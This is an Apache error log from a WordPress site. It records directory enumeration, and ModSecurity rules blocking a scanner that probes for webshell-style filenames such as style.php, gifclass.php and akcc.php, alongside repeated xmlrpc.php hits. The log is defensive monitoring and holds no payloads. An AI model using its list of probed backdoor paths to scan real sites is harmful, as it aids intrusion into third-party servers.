[Thu Apr 09 14:38:13.479035 2026] [autoindex:error] [pid 24927:tid 24941] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:38:16.114644 2026] [autoindex:error] [pid 24927:tid 24939] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:38:16.412958 2026] [autoindex:error] [pid 24927:tid 24937] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:38:16.699464 2026] [autoindex:error] [pid 24927:tid 24942] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:38:18.189643 2026] [autoindex:error] [pid 24927:tid 24934] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:38:19.984465 2026] [autoindex:error] [pid 24927:tid 24935] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:38:38.536792 2026] [autoindex:error] [pid 24927:tid 24936] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:38:41.055427 2026] [autoindex:error] [pid 24927:tid 24948] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/ui/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:38:43.749225 2026] [autoindex:error] [pid 24927:tid 24953] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:38:46.430744 2026] [autoindex:error] [pid 24927:tid 24932] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:38:48.207448 2026] [autoindex:error] [pid 24927:tid 24954] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:38:48.537696 2026] [autoindex:error] [pid 24927:tid 24935] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:38:50.135620 2026] [autoindex:error] [pid 24927:tid 24952] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:38:50.671176 2026] [autoindex:error] [pid 24927:tid 24933] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:38:50.988396 2026] [autoindex:error] [pid 24927:tid 24953] [client 45.95.243.5:62059] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/components/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:38:55.779427 2026] [autoindex:error] [pid 24517:tid 24584] [client 45.95.243.26:59345] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/pullquote/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:38:58.404799 2026] [autoindex:error] [pid 24517:tid 24580] [client 45.95.243.26:59345] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/comments-pagination-numbers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:39:07.365804 2026] [autoindex:error] [pid 24517:tid 24598] [client 45.95.243.26:59345] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:39:07.667432 2026] [autoindex:error] [pid 24517:tid 24596] [client 45.95.243.26:59345] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/post-terms/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:39:09.231277 2026] [autoindex:error] [pid 24517:tid 24578] [client 45.95.243.26:59345] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:39:10.715262 2026] [autoindex:error] [pid 24517:tid 24587] [client 45.95.243.26:59345] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/namespaced/Core/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:39:14.762217 2026] [autoindex:error] [pid 24517:tid 24594] [client 45.95.243.26:59345] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:39:19.852164 2026] [autoindex:error] [pid 24517:tid 24596] [client 45.95.243.26:59345] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/site-title/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:39:25.945569 2026] [autoindex:error] [pid 24517:tid 24588] [client 45.95.243.26:59345] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:39:29.904972 2026] [autoindex:error] [pid 24517:tid 24582] [client 45.95.243.26:59345] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:39:30.252754 2026] [autoindex:error] [pid 24517:tid 24580] [client 45.95.243.26:59345] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2026/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 14:56:09.476531 2026] [:error] [pid 24516:tid 24571] [client 128.199.207.13:63990] [client 128.199.207.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.207.13, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addNidhW7vSS-UkeWCX8pgAAAFg"]
[Thu Apr 09 15:04:42.094626 2026] [:error] [pid 24515:tid 24540] [client 192.159.99.20:49849] [client 192.159.99.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "addPiq1OMnvM2fMnB1M-6wAAABU"]
[Thu Apr 09 15:04:42.520711 2026] [:error] [pid 24517:tid 24598] [client 192.159.99.20:56011] [client 192.159.99.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/style.php"] [unique_id "addPinboYEn2ZFM_PS9SfQAAAJg"]
[Thu Apr 09 15:04:43.959167 2026] [:error] [pid 24516:tid 24561] [client 192.159.99.20:62919] [client 192.159.99.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/style.php"] [unique_id "addPi9hW7vSS-UkeWCX-jAAAAE4"]
[Thu Apr 09 15:04:44.378527 2026] [:error] [pid 24515:tid 24531] [client 192.159.99.20:57243] [client 192.159.99.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/style.php"] [unique_id "addPjK1OMnvM2fMnB1M-7gAAAAw"]
[Thu Apr 09 15:04:44.801101 2026] [:error] [pid 24516:tid 24552] [client 192.159.99.20:54222] [client 192.159.99.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style.php"] [unique_id "addPjNhW7vSS-UkeWCX-jQAAAEU"]
[Thu Apr 09 15:04:45.223258 2026] [:error] [pid 24927:tid 24950] [client 192.159.99.20:53162] [client 192.159.99.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "addPjTXObuzEuw8mNJuHtAAAARQ"]
[Thu Apr 09 15:04:45.640788 2026] [:error] [pid 24927:tid 24947] [client 192.159.99.20:60032] [client 192.159.99.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "addPjTXObuzEuw8mNJuHtQAAARE"]
[Thu Apr 09 15:04:46.060349 2026] [:error] [pid 24927:tid 24940] [client 192.159.99.20:54711] [client 192.159.99.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/flower.php"] [unique_id "addPjjXObuzEuw8mNJuHtwAAAQo"]
[Thu Apr 09 15:04:46.482179 2026] [:error] [pid 24927:tid 24954] [client 192.159.99.20:53418] [client 192.159.99.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "addPjjXObuzEuw8mNJuHugAAARg"]
[Thu Apr 09 15:04:46.901352 2026] [:error] [pid 24517:tid 24580] [client 192.159.99.20:64132] [client 192.159.99.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "addPjnboYEn2ZFM_PS9SggAAAIY"]
[Thu Apr 09 15:04:47.321069 2026] [:error] [pid 24515:tid 24526] [client 192.159.99.20:58005] [client 192.159.99.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "addPj61OMnvM2fMnB1M-8AAAAAc"]
[Thu Apr 09 15:04:47.739325 2026] [:error] [pid 24515:tid 24537] [client 192.159.99.20:49603] [client 192.159.99.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/blurbs.php"] [unique_id "addPj61OMnvM2fMnB1M-8QAAABI"]
[Thu Apr 09 15:04:48.157919 2026] [:error] [pid 24927:tid 24936] [client 192.159.99.20:53686] [client 192.159.99.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/akcc.php"] [unique_id "addPkDXObuzEuw8mNJuHvgAAAQY"]
[Thu Apr 09 15:04:48.720872 2026] [:error] [pid 24927:tid 24931] [client 201.23.19.75:42292] [client 201.23.19.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.23.19.75, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addPkDXObuzEuw8mNJuHwAAAAQE"]
[Thu Apr 09 15:06:41.667389 2026] [:error] [pid 24624:tid 24631] [client 90.156.142.31:24618] [client 90.156.142.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 90.156.142.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addQAe4Jn-WvK1ZBTviH7gAAAMU"]
[Thu Apr 09 15:15:24.920594 2026] [:error] [pid 24624:tid 24636] [client 20.84.7.202:5824] [client 20.84.7.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.84.7.202, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addSDO4Jn-WvK1ZBTviKOgAAAMo"]
[Thu Apr 09 15:20:36.369651 2026] [:error] [pid 24517:tid 24578] [client 78.142.140.182:52720] [client 78.142.140.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.142.140.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addTRHboYEn2ZFM_PS9V9QAAAIQ"]
[Thu Apr 09 15:21:43.057049 2026] [:error] [pid 24515:tid 24534] [client 217.182.82.42:60362] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addTh61OMnvM2fMnB1NBGAAAAA8"]
[Thu Apr 09 15:22:01.039873 2026] [:error] [pid 24927:tid 24936] [client 51.210.113.223:58144] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addTmTXObuzEuw8mNJuPkgAAAQY"]
[Thu Apr 09 15:30:13.476107 2026] [:error] [pid 24517:tid 24583] [client 146.59.232.195:47700] [client 146.59.232.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.232.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addVhXboYEn2ZFM_PS9bKAAAAIk"]
[Thu Apr 09 15:36:11.335089 2026] [:error] [pid 24517:tid 24579] [client 34.151.198.67:38056] [client 34.151.198.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.151.198.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addW63boYEn2ZFM_PS9chwAAAIU"]
[Thu Apr 09 15:42:56.607147 2026] [:error] [pid 24515:tid 24537] [client 100.24.110.95:50330] [client 100.24.110.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 100.24.110.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addYgK1OMnvM2fMnB1NHgAAAABI"]
[Thu Apr 09 15:47:29.124445 2026] [:error] [pid 24515:tid 24535] [client 77.68.115.185:42418] [client 77.68.115.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.68.115.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addZka1OMnvM2fMnB1NIYAAAABA"]
[Thu Apr 09 15:51:57.167177 2026] [:error] [pid 24515:tid 24525] [client 159.223.3.98:33774] [client 159.223.3.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.3.98, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addana1OMnvM2fMnB1NJDQAAAAY"]
[Thu Apr 09 15:57:47.591432 2026] [:error] [pid 24516:tid 24559] [client 82.66.189.231:38530] [client 82.66.189.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.66.189.231, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addb-9hW7vSS-UkeWCUGQAAAAEw"]
[Thu Apr 09 15:59:18.844999 2026] [:error] [pid 24624:tid 24630] [client 207.154.197.201:50754] [client 207.154.197.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.154.197.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addcVu4Jn-WvK1ZBTviTKQAAAMQ"]
[Thu Apr 09 16:05:31.887654 2026] [:error] [pid 24515:tid 24542] [client 46.163.72.195:60738] [client 46.163.72.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.163.72.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adddy61OMnvM2fMnB1NMPwAAABc"]
[Thu Apr 09 16:21:02.473308 2026] [:error] [pid 24516:tid 24547] [client 78.88.230.100:45412] [client 78.88.230.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.88.230.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addhbthW7vSS-UkeWCUJLwAAAEA"]
[Thu Apr 09 16:26:29.603477 2026] [:error] [pid 24624:tid 24626] [client 167.172.129.25:53312] [client 167.172.129.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.129.25, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addite4Jn-WvK1ZBTviZwAAAAMA"]
[Thu Apr 09 16:26:35.840674 2026] [:error] [pid 24515:tid 24541] [client 185.203.28.52:44036] [client 185.203.28.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.203.28.52, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addiu61OMnvM2fMnB1NSLwAAABY"]
